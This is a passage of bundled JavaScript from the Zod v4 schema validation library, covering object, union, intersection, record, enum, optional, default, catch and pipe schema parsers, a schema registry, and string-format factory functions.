$constructor(\"$ZodObjectJIT\", (inst, def) => {\n $ZodObject.init(inst, def);\n const superParse = inst._zod.parse;\n const _normalized = cached(() => normalizeDef(def));\n const generateFastpass = (shape) => {\n const doc = new Doc([\n \"shape\",\n \"payload\",\n \"ctx\"\n ]);\n const normalized = _normalized.value;\n const parseStr = (key) => {\n const k = esc(key);\n return `shape[${k}]._zod.run({ value: input[${k}], issues: [] }, ctx)`;\n };\n doc.write(`const input = payload.value;`);\n const ids = Object.create(null);\n let counter = 0;\n for (const key of normalized.keys) ids[key] = `key_${counter++}`;\n doc.write(`const newResult = {};`);\n for (const key of normalized.keys) {\n const id = ids[key];\n const k = esc(key);\n const schema = shape[key];\n const isOptionalIn = schema?._zod?.optin === \"optional\";\n const isOptionalOut = schema?._zod?.optout === \"optional\";\n doc.write(`const ${id} = ${parseStr(key)};`);\n if (isOptionalIn && isOptionalOut) doc.write(`\n if (${id}.issues.length) {\n if (${k} in input) {\n payload.issues = payload.issues.concat(${id}.issues.map(iss => ({\n ...iss,\n path: iss.path ? [${k}, ...iss.path] : [${k}]\n })));\n }\n }\n \n if (${id}.value === undefined) {\n if (${k} in input) {\n newResult[${k}] = undefined;\n }\n } else {\n newResult[${k}] = ${id}.value;\n }\n \n `);\n else if (!isOptionalIn) doc.write(`\n const ${id}_present = ${k} in input;\n if (${id}.issues.length) {\n payload.issues = payload.issues.concat(${id}.issues.map(iss => ({\n ...iss,\n path: iss.path ? [${k}, ...iss.path] : [${k}]\n })));\n }\n if (!${id}_present && !${id}.issues.length) {\n payload.issues.push({\n code: \"invalid_type\",\n expected: \"nonoptional\",\n input: undefined,\n path: [${k}]\n });\n }\n\n if (${id}_present) {\n if (${id}.value === undefined) {\n newResult[${k}] = undefined;\n } else {\n newResult[${k}] = ${id}.value;\n }\n }\n\n `);\n else doc.write(`\n if (${id}.issues.length) {\n payload.issues = payload.issues.concat(${id}.issues.map(iss => ({\n ...iss,\n path: iss.path ? [${k}, ...iss.path] : [${k}]\n })));\n }\n \n if (${id}.value === undefined) {\n if (${k} in input) {\n newResult[${k}] = undefined;\n }\n } else {\n newResult[${k}] = ${id}.value;\n }\n \n `);\n }\n doc.write(`payload.value = newResult;`);\n doc.write(`return payload;`);\n const fn = doc.compile();\n return (payload, ctx) => fn(shape, payload, ctx);\n };\n let fastpass;\n const isObject$1 = isObject;\n const jit = !globalConfig.jitless;\n const allowsEval$1 = allowsEval;\n const fastEnabled = jit && allowsEval$1.value;\n const catchall = def.catchall;\n let value;\n inst._zod.parse = (payload, ctx) => {\n value ?? (value = _normalized.value);\n const input = payload.value;\n if (!isObject$1(input)) {\n payload.issues.push({\n expected: \"object\",\n code: \"invalid_type\",\n input,\n inst\n });\n return payload;\n }\n if (jit && fastEnabled && ctx?.async === false && ctx.jitless !== true) {\n if (!fastpass) fastpass = generateFastpass(def.shape);\n payload = fastpass(payload, ctx);\n if (!catchall) return payload;\n return handleCatchall([], input, payload, ctx, value, inst);\n }\n return superParse(payload, ctx);\n };\n});\nfunction handleUnionResults(results, final, inst, ctx) {\n for (const result of results) if (result.issues.length === 0) {\n final.value = result.value;\n return final;\n }\n const nonaborted = results.filter((r) => !aborted(r));\n if (nonaborted.length === 1) {\n final.value = nonaborted[0].value;\n return nonaborted[0];\n }\n final.issues.push({\n code: \"invalid_union\",\n input: final.value,\n inst,\n errors: results.map((result) => result.issues.map((iss) => finalizeIssue(iss, ctx, config())))\n });\n return final;\n}\nconst $ZodUnion = /*@__PURE__*/ $constructor(\"$ZodUnion\", (inst, def) => {\n $ZodType.init(inst, def);\n defineLazy(inst._zod, \"optin\", () => def.options.some((o) => o._zod.optin === \"optional\") ? \"optional\" : void 0);\n defineLazy(inst._zod, \"optout\", () => def.options.some((o) => o._zod.optout === \"optional\") ? \"optional\" : void 0);\n defineLazy(inst._zod, \"values\", () => {\n if (def.options.every((o) => o._zod.values)) return new Set(def.options.flatMap((option) => Array.from(option._zod.values)));\n });\n defineLazy(inst._zod, \"pattern\", () => {\n if (def.options.every((o) => o._zod.pattern)) {\n const patterns = def.options.map((o) => o._zod.pattern);\n return new RegExp(`^(${patterns.map((p) => cleanRegex(p.source)).join(\"|\")})$`);\n }\n });\n const first = def.options.length === 1 ? def.options[0]._zod.run : null;\n inst._zod.parse = (payload, ctx) => {\n if (first) return first(payload, ctx);\n let async = false;\n const results = [];\n for (const option of def.options) {\n const result = option._zod.run({\n value: payload.value,\n issues: []\n }, ctx);\n if (result instanceof Promise) {\n results.push(result);\n async = true;\n } else {\n if (result.issues.length === 0) return result;\n results.push(result);\n }\n }\n if (!async) return handleUnionResults(results, payload, inst, ctx);\n return Promise.all(results).then((results) => {\n return handleUnionResults(results, payload, inst, ctx);\n });\n };\n});\nconst $ZodIntersection = /*@__PURE__*/ $constructor(\"$ZodIntersection\", (inst, def) => {\n $ZodType.init(inst, def);\n inst._zod.parse = (payload, ctx) => {\n const input = payload.value;\n const left = def.left._zod.run({\n value: input,\n issues: []\n }, ctx);\n const right = def.right._zod.run({\n value: input,\n issues: []\n }, ctx);\n if (left instanceof Promise || right instanceof Promise) return Promise.all([left, right]).then(([left, right]) => {\n return handleIntersectionResults(payload, left, right);\n });\n return handleIntersectionResults(payload, left, right);\n };\n});\nfunction mergeValues(a, b) {\n if (a === b) return {\n valid: true,\n data: a\n };\n if (a instanceof Date && b instanceof Date && +a === +b) return {\n valid: true,\n data: a\n };\n if (isPlainObject(a) && isPlainObject(b)) {\n const bKeys = Object.keys(b);\n const sharedKeys = Object.keys(a).filter((key) => bKeys.indexOf(key) !== -1);\n const newObj = {\n ...a,\n ...b\n };\n for (const key of sharedKeys) {\n const sharedValue = mergeValues(a[key], b[key]);\n if (!sharedValue.valid) return {\n valid: false,\n mergeErrorPath: [key, ...sharedValue.mergeErrorPath]\n };\n newObj[key] = sharedValue.data;\n }\n return {\n valid: true,\n data: newObj\n };\n }\n if (Array.isArray(a) && Array.isArray(b)) {\n if (a.length !== b.length) return {\n valid: false,\n mergeErrorPath: []\n };\n const newArray = [];\n for (let index = 0; index < a.length; index++) {\n const itemA = a[index];\n const itemB = b[index];\n const sharedValue = mergeValues(itemA, itemB);\n if (!sharedValue.valid) return {\n valid: false,\n mergeErrorPath: [index, ...sharedValue.mergeErrorPath]\n };\n newArray.push(sharedValue.data);\n }\n return {\n valid: true,\n data: newArray\n };\n }\n return {\n valid: false,\n mergeErrorPath: []\n };\n}\nfunction handleIntersectionResults(result, left, right) {\n const unrecKeys = /* @__PURE__ */ new Map();\n let unrecIssue;\n for (const iss of left.issues) if (iss.code === \"unrecognized_keys\") {\n unrecIssue ?? (unrecIssue = iss);\n for (const k of iss.keys) {\n if (!unrecKeys.has(k)) unrecKeys.set(k, {});\n unrecKeys.get(k).l = true;\n }\n } else result.issues.push(iss);\n for (const iss of right.issues) if (iss.code === \"unrecognized_keys\") for (const k of iss.keys) {\n if (!unrecKeys.has(k)) unrecKeys.set(k, {});\n unrecKeys.get(k).r = true;\n }\n else result.issues.push(iss);\n const bothKeys = [...unrecKeys].filter(([, f]) => f.l && f.r).map(([k]) => k);\n if (bothKeys.length && unrecIssue) result.issues.push({\n ...unrecIssue,\n keys: bothKeys\n });\n if (aborted(result)) return result;\n const merged = mergeValues(left.value, right.value);\n if (!merged.valid) throw new Error(`Unmergable intersection. Error path: ${JSON.stringify(merged.mergeErrorPath)}`);\n result.value = merged.data;\n return result;\n}\nconst $ZodRecord = /*@__PURE__*/ $constructor(\"$ZodRecord\", (inst, def) => {\n $ZodType.init(inst, def);\n inst._zod.parse = (payload, ctx) => {\n const input = payload.value;\n if (!isPlainObject(input)) {\n payload.issues.push({\n expected: \"record\",\n code: \"invalid_type\",\n input,\n inst\n });\n return payload;\n }\n const proms = [];\n const values = def.keyType._zod.values;\n if (values) {\n payload.value = {};\n const recordKeys = /* @__PURE__ */ new Set();\n for (const key of values) if (typeof key === \"string\" || typeof key === \"number\" || typeof key === \"symbol\") {\n recordKeys.add(typeof key === \"number\" ? key.toString() : key);\n const keyResult = def.keyType._zod.run({\n value: key,\n issues: []\n }, ctx);\n if (keyResult instanceof Promise) throw new Error(\"Async schemas not supported in object keys currently\");\n if (keyResult.issues.length) {\n payload.issues.push({\n code: \"invalid_key\",\n origin: \"record\",\n issues: keyResult.issues.map((iss) => finalizeIssue(iss, ctx, config())),\n input: key,\n path: [key],\n inst\n });\n continue;\n }\n const outKey = keyResult.value;\n const result = def.valueType._zod.run({\n value: input[key],\n issues: []\n }, ctx);\n if (result instanceof Promise) proms.push(result.then((result) => {\n if (result.issues.length) payload.issues.push(...prefixIssues(key, result.issues));\n payload.value[outKey] = result.value;\n }));\n else {\n if (result.issues.length) payload.issues.push(...prefixIssues(key, result.issues));\n payload.value[outKey] = result.value;\n }\n }\n let unrecognized;\n for (const key in input) if (!recordKeys.has(key)) {\n unrecognized = unrecognized ?? [];\n unrecognized.push(key);\n }\n if (unrecognized && unrecognized.length > 0) payload.issues.push({\n code: \"unrecognized_keys\",\n input,\n inst,\n keys: unrecognized\n });\n } else {\n payload.value = {};\n for (const key of Reflect.ownKeys(input)) {\n if (key === \"__proto__\") continue;\n if (!Object.prototype.propertyIsEnumerable.call(input, key)) continue;\n let keyResult = def.keyType._zod.run({\n value: key,\n issues: []\n }, ctx);\n if (keyResult instanceof Promise) throw new Error(\"Async schemas not supported in object keys currently\");\n if (typeof key === \"string\" && number.test(key) && keyResult.issues.length) {\n const retryResult = def.keyType._zod.run({\n value: Number(key),\n issues: []\n }, ctx);\n if (retryResult instanceof Promise) throw new Error(\"Async schemas not supported in object keys currently\");\n if (retryResult.issues.length === 0) keyResult = retryResult;\n }\n if (keyResult.issues.length) {\n if (def.mode === \"loose\") payload.value[key] = input[key];\n else payload.issues.push({\n code: \"invalid_key\",\n origin: \"record\",\n issues: keyResult.issues.map((iss) => finalizeIssue(iss, ctx, config())),\n input: key,\n path: [key],\n inst\n });\n continue;\n }\n const result = def.valueType._zod.run({\n value: input[key],\n issues: []\n }, ctx);\n if (result instanceof Promise) proms.push(result.then((result) => {\n if (result.issues.length) payload.issues.push(...prefixIssues(key, result.issues));\n payload.value[keyResult.value] = result.value;\n }));\n else {\n if (result.issues.length) payload.issues.push(...prefixIssues(key, result.issues));\n payload.value[keyResult.value] = result.value;\n }\n }\n }\n if (proms.length) return Promise.all(proms).then(() => payload);\n return payload;\n };\n});\nconst $ZodEnum = /*@__PURE__*/ $constructor(\"$ZodEnum\", (inst, def) => {\n $ZodType.init(inst, def);\n const values = getEnumValues(def.entries);\n const valuesSet = new Set(values);\n inst._zod.values = valuesSet;\n inst._zod.pattern = new RegExp(`^(${values.filter((k) => propertyKeyTypes.has(typeof k)).map((o) => typeof o === \"string\" ? escapeRegex(o) : o.toString()).join(\"|\")})$`);\n inst._zod.parse = (payload, _ctx) => {\n const input = payload.value;\n if (valuesSet.has(input)) return payload;\n payload.issues.push({\n code: \"invalid_value\",\n values,\n input,\n inst\n });\n return payload;\n };\n});\nconst $ZodTransform = /*@__PURE__*/ $constructor(\"$ZodTransform\", (inst, def) => {\n $ZodType.init(inst, def);\n inst._zod.optin = \"optional\";\n inst._zod.parse = (payload, ctx) => {\n if (ctx.direction === \"backward\") throw new $ZodEncodeError(inst.constructor.name);\n const _out = def.transform(payload.value, payload);\n if (ctx.async) return (_out instanceof Promise ? _out : Promise.resolve(_out)).then((output) => {\n payload.value = output;\n payload.fallback = true;\n return payload;\n });\n if (_out instanceof Promise) throw new $ZodAsyncError();\n payload.value = _out;\n payload.fallback = true;\n return payload;\n };\n});\nfunction handleOptionalResult(result, input) {\n if (input === void 0 && (result.issues.length || result.fallback)) return {\n issues: [],\n value: void 0\n };\n return result;\n}\nconst $ZodOptional = /*@__PURE__*/ $constructor(\"$ZodOptional\", (inst, def) => {\n $ZodType.init(inst, def);\n inst._zod.optin = \"optional\";\n inst._zod.optout = \"optional\";\n defineLazy(inst._zod, \"values\", () => {\n return def.innerType._zod.values ? /* @__PURE__ */ new Set([...def.innerType._zod.values, void 0]) : void 0;\n });\n defineLazy(inst._zod, \"pattern\", () => {\n const pattern = def.innerType._zod.pattern;\n return pattern ? new RegExp(`^(${cleanRegex(pattern.source)})?$`) : void 0;\n });\n inst._zod.parse = (payload, ctx) => {\n if (def.innerType._zod.optin === \"optional\") {\n const input = payload.value;\n const result = def.innerType._zod.run(payload, ctx);\n if (result instanceof Promise) return result.then((r) => handleOptionalResult(r, input));\n return handleOptionalResult(result, input);\n }\n if (payload.value === void 0) return payload;\n return def.innerType._zod.run(payload, ctx);\n };\n});\nconst $ZodExactOptional = /*@__PURE__*/ $constructor(\"$ZodExactOptional\", (inst, def) => {\n $ZodOptional.init(inst, def);\n defineLazy(inst._zod, \"values\", () => def.innerType._zod.values);\n defineLazy(inst._zod, \"pattern\", () => def.innerType._zod.pattern);\n inst._zod.parse = (payload, ctx) => {\n return def.innerType._zod.run(payload, ctx);\n };\n});\nconst $ZodNullable = /*@__PURE__*/ $constructor(\"$ZodNullable\", (inst, def) => {\n $ZodType.init(inst, def);\n defineLazy(inst._zod, \"optin\", () => def.innerType._zod.optin);\n defineLazy(inst._zod, \"optout\", () => def.innerType._zod.optout);\n defineLazy(inst._zod, \"pattern\", () => {\n const pattern = def.innerType._zod.pattern;\n return pattern ? new RegExp(`^(${cleanRegex(pattern.source)}|null)$`) : void 0;\n });\n defineLazy(inst._zod, \"values\", () => {\n return def.innerType._zod.values ? /* @__PURE__ */ new Set([...def.innerType._zod.values, null]) : void 0;\n });\n inst._zod.parse = (payload, ctx) => {\n if (payload.value === null) return payload;\n return def.innerType._zod.run(payload, ctx);\n };\n});\nconst $ZodDefault = /*@__PURE__*/ $constructor(\"$ZodDefault\", (inst, def) => {\n $ZodType.init(inst, def);\n inst._zod.optin = \"optional\";\n defineLazy(inst._zod, \"values\", () => def.innerType._zod.values);\n inst._zod.parse = (payload, ctx) => {\n if (ctx.direction === \"backward\") return def.innerType._zod.run(payload, ctx);\n if (payload.value === void 0) {\n payload.value = def.defaultValue;\n /**\n * $ZodDefault returns the default value immediately in forward direction.\n * It doesn't pass the default value into the validator (\"prefault\"). There's no reason to pass the default value through validation. The validity of the default is enforced by TypeScript statically. Otherwise, it's the responsibility of the user to ensure the default is valid. In the case of pipes with divergent in/out types, you can specify the default on the `in` schema of your ZodPipe to set a \"prefault\" for the pipe. */\n return payload;\n }\n const result = def.innerType._zod.run(payload, ctx);\n if (result instanceof Promise) return result.then((result) => handleDefaultResult(result, def));\n return handleDefaultResult(result, def);\n };\n});\nfunction handleDefaultResult(payload, def) {\n if (payload.value === void 0) payload.value = def.defaultValue;\n return payload;\n}\nconst $ZodPrefault = /*@__PURE__*/ $constructor(\"$ZodPrefault\", (inst, def) => {\n $ZodType.init(inst, def);\n inst._zod.optin = \"optional\";\n defineLazy(inst._zod, \"values\", () => def.innerType._zod.values);\n inst._zod.parse = (payload, ctx) => {\n if (ctx.direction === \"backward\") return def.innerType._zod.run(payload, ctx);\n if (payload.value === void 0) payload.value = def.defaultValue;\n return def.innerType._zod.run(payload, ctx);\n };\n});\nconst $ZodNonOptional = /*@__PURE__*/ $constructor(\"$ZodNonOptional\", (inst, def) => {\n $ZodType.init(inst, def);\n defineLazy(inst._zod, \"values\", () => {\n const v = def.innerType._zod.values;\n return v ? new Set([...v].filter((x) => x !== void 0)) : void 0;\n });\n inst._zod.parse = (payload, ctx) => {\n const result = def.innerType._zod.run(payload, ctx);\n if (result instanceof Promise) return result.then((result) => handleNonOptionalResult(result, inst));\n return handleNonOptionalResult(result, inst);\n };\n});\nfunction handleNonOptionalResult(payload, inst) {\n if (!payload.issues.length && payload.value === void 0) payload.issues.push({\n code: \"invalid_type\",\n expected: \"nonoptional\",\n input: payload.value,\n inst\n });\n return payload;\n}\nconst $ZodCatch = /*@__PURE__*/ $constructor(\"$ZodCatch\", (inst, def) => {\n $ZodType.init(inst, def);\n inst._zod.optin = \"optional\";\n defineLazy(inst._zod, \"optout\", () => def.innerType._zod.optout);\n defineLazy(inst._zod, \"values\", () => def.innerType._zod.values);\n inst._zod.parse = (payload, ctx) => {\n if (ctx.direction === \"backward\") return def.innerType._zod.run(payload, ctx);\n const result = def.innerType._zod.run(payload, ctx);\n if (result instanceof Promise) return result.then((result) => {\n payload.value = result.value;\n if (result.issues.length) {\n payload.value = def.catchValue({\n ...payload,\n error: { issues: result.issues.map((iss) => finalizeIssue(iss, ctx, config())) },\n input: payload.value\n });\n payload.issues = [];\n payload.fallback = true;\n }\n return payload;\n });\n payload.value = result.value;\n if (result.issues.length) {\n payload.value = def.catchValue({\n ...payload,\n error: { issues: result.issues.map((iss) => finalizeIssue(iss, ctx, config())) },\n input: payload.value\n });\n payload.issues = [];\n payload.fallback = true;\n }\n return payload;\n };\n});\nconst $ZodPipe = /*@__PURE__*/ $constructor(\"$ZodPipe\", (inst, def) => {\n $ZodType.init(inst, def);\n defineLazy(inst._zod, \"values\", () => def.in._zod.values);\n defineLazy(inst._zod, \"optin\", () => def.in._zod.optin);\n defineLazy(inst._zod, \"optout\", () => def.out._zod.optout);\n defineLazy(inst._zod, \"propValues\", () => def.in._zod.propValues);\n inst._zod.parse = (payload, ctx) => {\n if (ctx.direction === \"backward\") {\n const right = def.out._zod.run(payload, ctx);\n if (right instanceof Promise) return right.then((right) => handlePipeResult(right, def.in, ctx));\n return handlePipeResult(right, def.in, ctx);\n }\n const left = def.in._zod.run(payload, ctx);\n if (left instanceof Promise) return left.then((left) => handlePipeResult(left, def.out, ctx));\n return handlePipeResult(left, def.out, ctx);\n };\n});\nfunction handlePipeResult(left, next, ctx) {\n if (left.issues.length) {\n left.aborted = true;\n return left;\n }\n return next._zod.run({\n value: left.value,\n issues: left.issues,\n fallback: left.fallback\n }, ctx);\n}\nconst $ZodReadonly = /*@__PURE__*/ $constructor(\"$ZodReadonly\", (inst, def) => {\n $ZodType.init(inst, def);\n defineLazy(inst._zod, \"propValues\", () => def.innerType._zod.propValues);\n defineLazy(inst._zod, \"values\", () => def.innerType._zod.values);\n defineLazy(inst._zod, \"optin\", () => def.innerType?._zod?.optin);\n defineLazy(inst._zod, \"optout\", () => def.innerType?._zod?.optout);\n inst._zod.parse = (payload, ctx) => {\n if (ctx.direction === \"backward\") return def.innerType._zod.run(payload, ctx);\n const result = def.innerType._zod.run(payload, ctx);\n if (result instanceof Promise) return result.then(handleReadonlyResult);\n return handleReadonlyResult(result);\n };\n});\nfunction handleReadonlyResult(payload) {\n payload.value = Object.freeze(payload.value);\n return payload;\n}\nconst $ZodCustom = /*@__PURE__*/ $constructor(\"$ZodCustom\", (inst, def) => {\n $ZodCheck.init(inst, def);\n $ZodType.init(inst, def);\n inst._zod.parse = (payload, _) => {\n return payload;\n };\n inst._zod.check = (payload) => {\n const input = payload.value;\n const r = def.fn(input);\n if (r instanceof Promise) return r.then((r) => handleRefineResult(r, payload, input, inst));\n handleRefineResult(r, payload, input, inst);\n };\n});\nfunction handleRefineResult(result, payload, input, inst) {\n if (!result) {\n const _iss = {\n code: \"custom\",\n input,\n inst,\n path: [...inst._zod.def.path ?? []],\n continue: !inst._zod.def.abort\n };\n if (inst._zod.def.params) _iss.params = inst._zod.def.params;\n payload.issues.push(issue(_iss));\n }\n}\n\n//#endregion\n//#region ../../node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/core/registries.js\nvar _a;\nvar $ZodRegistry = class {\n constructor() {\n this._map = /* @__PURE__ */ new WeakMap();\n this._idmap = /* @__PURE__ */ new Map();\n }\n add(schema, ..._meta) {\n const meta = _meta[0];\n this._map.set(schema, meta);\n if (meta && typeof meta === \"object\" && \"id\" in meta) this._idmap.set(meta.id, schema);\n return this;\n }\n clear() {\n this._map = /* @__PURE__ */ new WeakMap();\n this._idmap = /* @__PURE__ */ new Map();\n return this;\n }\n remove(schema) {\n const meta = this._map.get(schema);\n if (meta && typeof meta === \"object\" && \"id\" in meta) this._idmap.delete(meta.id);\n this._map.delete(schema);\n return this;\n }\n get(schema) {\n const p = schema._zod.parent;\n if (p) {\n const pm = { ...this.get(p) ?? {} };\n delete pm.id;\n const f = {\n ...pm,\n ...this._map.get(schema)\n };\n return Object.keys(f).length ? f : void 0;\n }\n return this._map.get(schema);\n }\n has(schema) {\n return this._map.has(schema);\n }\n};\nfunction registry() {\n return new $ZodRegistry();\n}\n(_a = globalThis).__zod_globalRegistry ?? (_a.__zod_globalRegistry = registry());\nconst globalRegistry = globalThis.__zod_globalRegistry;\n\n//#endregion\n//#region ../../node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/core/api.js\n// @__NO_SIDE_EFFECTS__\nfunction _string(Class, params) {\n return new Class({\n type: \"string\",\n ...normalizeParams(params)\n });\n}\n// @__NO_SIDE_EFFECTS__\nfunction _email(Class, params) {\n return new Class({\n type: \"string\",\n format: \"email\",\n check: \"string_format\",\n abort: false,\n ...normalizeParams(params)\n });\n}\n// @__NO_SIDE_EFFECTS__\nfunction _guid(Class, params) {\n return new Class({\n type: \"string\",\n format: \"guid\",\n check: \"string_format\",\n abort: false,\n ...normalizeParams(params)\n });\n}\n// @__NO_SIDE_EFFECTS__\nfunction _uuid(Class, params) {\n return new Class({\n type: \"string\",\n format: \"uuid\",\n check: \"string_format\",\n abort: false,\n ...normalizeParams(params)\n });\n}\n// @__NO_SIDE_EFFECTS__\nfunction _uuidv4(Class, params) {\n return new Class({\n type: \"string\",\n format: \"uuid\",\n check: \"string_format\",\n abort: false,\n version: \"v4\",\n ...normalizeParams(params)\n });\n}\n// @__NO_SIDE_EFFECTS__\nfunction _uuidv6(Class, params) {\n return new Class({\n type: \"string\",\n format: \"uuid\",\n check: \"string_format\",\n abort: false,\n version: \"v6\",\n ...normalizeParams(params)\n });\n}\n// @__NO_SIDE_EFFECTS__\nfunction _uuidv7(Class, params) {\n return new Class({\n type: \"string\",\n format: \"uuid\",\n check: \"string_format\",\n abort: false,\n version: \"v7\",\n ...normalizeParams(params)\n });\n}\n// @__NO_SIDE_EFFECTS__\nfunction _url(Class, params) {\n return new Class({\n type: \"string\",\n format: \"url\",\n check: \"string_format\",\n abort: false,\n ...normalizeParams(params)\n });\n}\n// @__NO_SIDE_EFFECTS__\nfunction _emoji(Class, params) {\n return new Class({\n type: \"string\",\n format: \"emoji\",\n check: \"string_format\",\n abort: false,\n ...normalizeParams(params)\n });\n}\n// @__NO_SIDE_EFFECTS__\nfunction _nanoid(Class, params) {\n return new Class({\n type: \"string\",\n format: \"nanoid\",\n check: \"string_format\",\n abort: false,\n ...normalizeParams(params)\n });\n}\n/**\n* @deprecated CUID v1 is deprecated by its authors due to information leakage\n* (timestamps embedded in the id). Use {@link _cuid2} instead.\n* See https://github.com/paralleldrive/cuid.\n*/\n// @__NO_SIDE_EFFECTS__\nfunction _cuid(Class, params) {\n return new Class({\n type: \"string\",\n format: \"cuid\",\n check: \"string_format\",\n abort: false,\n ...normalizeParams(params)\n });\n}\n// @__NO_SIDE_EFFECTS__\nfunction _cuid2(Class, params) {\n return new Class({\n type: \"string\",\n format: \"cuid2\",\n check: \"string_format\",\n abort: false,\n ...normalizeParams(params)\n });\n}\n// @__NO_SIDE_EFFECTS__\nfunction _ulid(Class, params) {\n return new Class({\n type: \"string\",\n format: \"ulid\",\n check: \"string_format\",\n abort: false,\n ...normalizeParams(params)\n });\n}\n// @__NO_SIDE_EFFECTS__\nfunction _xid(Class, params) {\n return new Class({\n type: \"string\",\n format: \"xid\",\n check: \"string_format\",\n abort: false,\n ...normalizeParams(params)\n });\n}\n// @__NO_SIDE_EFFECTS__\nfunction _ksuid(Class, params) {\n return new Class({\n type: \"string\",\n format: \"ksuid\",\n check: \"string_format\",\n abort: false,\n ...normalizeParams(params)\n });\n}\n// @__NO_SIDE_EFFECTS__\nfunction _ipv4(Class, params) {\n return new Class({\n type: \"string\",\n format: \"ipv4\",\n check: \"string_format\",\n abort: false,\n ...normalizeParams(params)\n });\n}\n// @__NO_SIDE_EFFECTS__\nfunction _ipv6(Class, params) {\n return new Class({\n type: \"string\",\n format: \"ipv6\",\n check: \"string_format\",\n abort: false,\n ...normalizeParams(params)\n });\n}\n// @__NO_SIDE_EFFECTS__\nfunction _cidrv4(Class, params) {\n return new Class({\n type: \"string\",\n format: \"cidrv4\",\n check: \"string_format\",\n abort: false,\n ...normalizeParams(params)\n });\n}\n// @__NO_SIDE_EFFECTS__\nfunction _cidrv6(Class, params) {\n return new Class({\n type: \"string\",\n format: \"cidrv6\",\n check: \"string_format\",\n abort: false,\n ...normalizeParams(params)\n });\n}\n// @__NO_SIDE_EFFECTS__\nfunction _base64(Class, params) {\n return new Class({\n type: \"string\",\n format: \"base64\",\n check: \"string_format\",\n abort: false,\n ...normalizeParams(params)\n });\n}\n// @__NO_SIDE_EFFECTS__\nfunction _base64url(Class, params) {\n return new Class({\n type: \"string\",\n format: \"base64url\",\n check: \"string_format\",\n abort: false,\n ...normalizeParams(params)\n });\n}\n// @__NO_SIDE_EFFECTS__\nfunction _e164(Class, params) {\n return new Class({\n type: \"string\",\n format: \"e164\",\n check: \"string_format\",\n abort: false,\n ...normalizeParams(params)\n });\n}\n// @__NO_SIDE_EFFECTS__\nfunction _jwt(Class, params) {\n return new Class({\n type: \"string\",\n format: \"jwt\",\n check: \"string_format\",\n abort: false,\n ...normalizeParams(params)\n });\n}\n// @__NO_SIDE_EFFECTS__\nfunction _isoDateTime(Class, params) {\n return new Class({\n type: \"string\",\n format: \"datetime\",\n check: \"string_format\",\n offset: false,\n local: false,\n precision: null,\n ...normalizeParams(params)\n });\n}\n// @__NO_SIDE_EFFECTS__\nfunction _isoDate(Class, params) {\n return new Class({\n type: \"string\",\n format: \"date\",\n check: \"string_format\",\n ...normalizeParams(params)\n });\n}\n// @__NO_SIDE_EFFECTS__\nfunction _isoTime(Class, params) {\n return new Class({\n type: \"string\",\n format: \"time\",\n check: \"string_format\",\n precision: null,\n ...normalizeParams(params)\n });\n}\n// @__NO_SIDE_EFFECTS__\nfunction _isoDuration(Class, params) {\n return new Class({\n type: \"string\",\n format: \"duration\",\n check: \"string_format\",\n ...normalizeParams(params)\n });\n}\n// @__NO_SIDE_EFFECTS__\nfunction _unknown(Class) {\n return new Class({ type: \"unknown\" });\n}\n// @__NO_SIDE_EFFECTS__\nfunction _never(Class, params) {\n return new Class({\n type: \"never\",\n ...normalizeParams(params)\n });\n}\n// @__NO_SIDE_EFFECTS__\nfunction _maxLength(maximum, params) {\n return new $ZodCheckMaxLength({\n check: \"max_length\",\n ...normalizeParams(params),\n maximum\n });\n}\n// @__NO_SIDE_EFFECTS__\nfunction _minLength(minimum, params) {\n return new $ZodCheckMinLength({\n check: \"min_length\",\n ...normalizeParams(params),\n minimum\n });\n}\n// @__NO_SIDE_EFFECTS__\nfunction _length(length, params) {\n return new $ZodCheckLengthEquals({\n check: \"length_equals\",\n ...normalizeParams(params),\n length\n });\n}\n// @__NO_SIDE_EFFECTS__\nfunction _regex(pattern, params) {\n return new $ZodCheckRegex({\n check: \"string_format\",\n format: \"regex\",\n ...normalizeParams(params),\n pattern\n });\n}\n// @__NO_SIDE_EFFECTS__\nfunction _lowercase(params) {\n return new $ZodCheckLowerCase({\n check: \"string_format\",\n format: \"lowercase\",\n ...normalizeParams(params)\n });\n}\n// @__NO_SIDE_EFFECTS__\nfunction _uppercase(params) {\n return new $ZodCheckUpperCase({\n check: \"string_format\",\n format: \"uppercase\",\n ...normalizeParams(params)\n });\n}\n// @__NO_SIDE_EFFECTS__\nfunction _includes(includes, params) {\n return new $ZodCheckIncludes({\n check: \"string_format\",\n format: \"includes\",\n ...normalizeParams(params),\n includes\n });\n}\n// @__NO_SIDE_EFFECTS__\nfunction _startsWith(prefix, params) {\n return new $ZodCheckStartsWith({\n check: \"string_format\",\n format: \"starts_with\",\n ...normalizeParams(params),\n prefix\n });\n}\n// @__NO_SIDE_EFFECTS__\nfunction _endsWith(suffix, params) {\n return new $ZodCheckEndsWith({\n check: \"string_format\",\n format: \"ends_with\",\n ...normalizeParams(params),\n suffix\n });\n}\n// @__NO_SIDE_EFFECTS__\nfunction _overwrite(tx) {\n return new $ZodCheckOverwrite({\n check: \"overwrite\",\n tx\n });\n}\n// @__NO_SIDE_EFFECTS__\nfunction _normalize(form) {\n return /* @__PURE__ */ _overwrite((input) => input.normalize(form));\n}\n// @__NO_SIDE_EFFECTS__\nfunction _trim() {\n return /* @__PURE__ */ _overwrite((input) => input.trim());\n}\n// @__NO_SIDE_EFFECTS__\nfunction _toLowerCase() {\n return /* @__PURE__ */ _overwrite((input) => input.toLowerCase());\n}\n// @__NO_SIDE_EFFECTS__\nfunction _toUpperCase() {\n return /* @__PURE__ */ _overwrite((input) => input.toUpperCase());\n}\n// @__NO_SIDE_EFFECTS__\nfunction _slugify() {\n return /* @__PURE__ */ _overwrite((input) => slugify(input));\n}\n// @__NO_SIDE_EFFECTS__\nfunction _array(Class, element, params) {\n return new Class({\n type: \"array\",\n element,\n ...normalizeParams(params)\n });\n}\n// @__NO_SIDE_EFFECTS__\nfunction _refine(Class, fn, _params) {\n return new Class({\n type: \"custom\",\n check: \"custom\",\n fn,\n ...normalizeParams(_params)\n });\n}\n// @__NO_SIDE_EFFECTS__\nfunction _superRefine(fn, params) {\n const ch = /* @__PURE__ */ _check((payload) => {\n payload.addIssue = (issue$2) => {\n if (typeof issue$2 === \"string\") payload.issues.push(issue(issue$2, payload.value, ch._zod.def));\n else {\n const _issue = issue$2;\n if (_issue.fatal) _issue.continue = false;\n _issue.code ?? (_issue.code = \"custom\");\n _issue.input ?? (_issue.input = payload.value);\n _issue.inst ?? (_issue.inst = ch);\n _issue.continue ?? (_issue.continue = !ch._zod.def.abort);\n payload.issues.push(issue(_issue));\n }\n };\n return 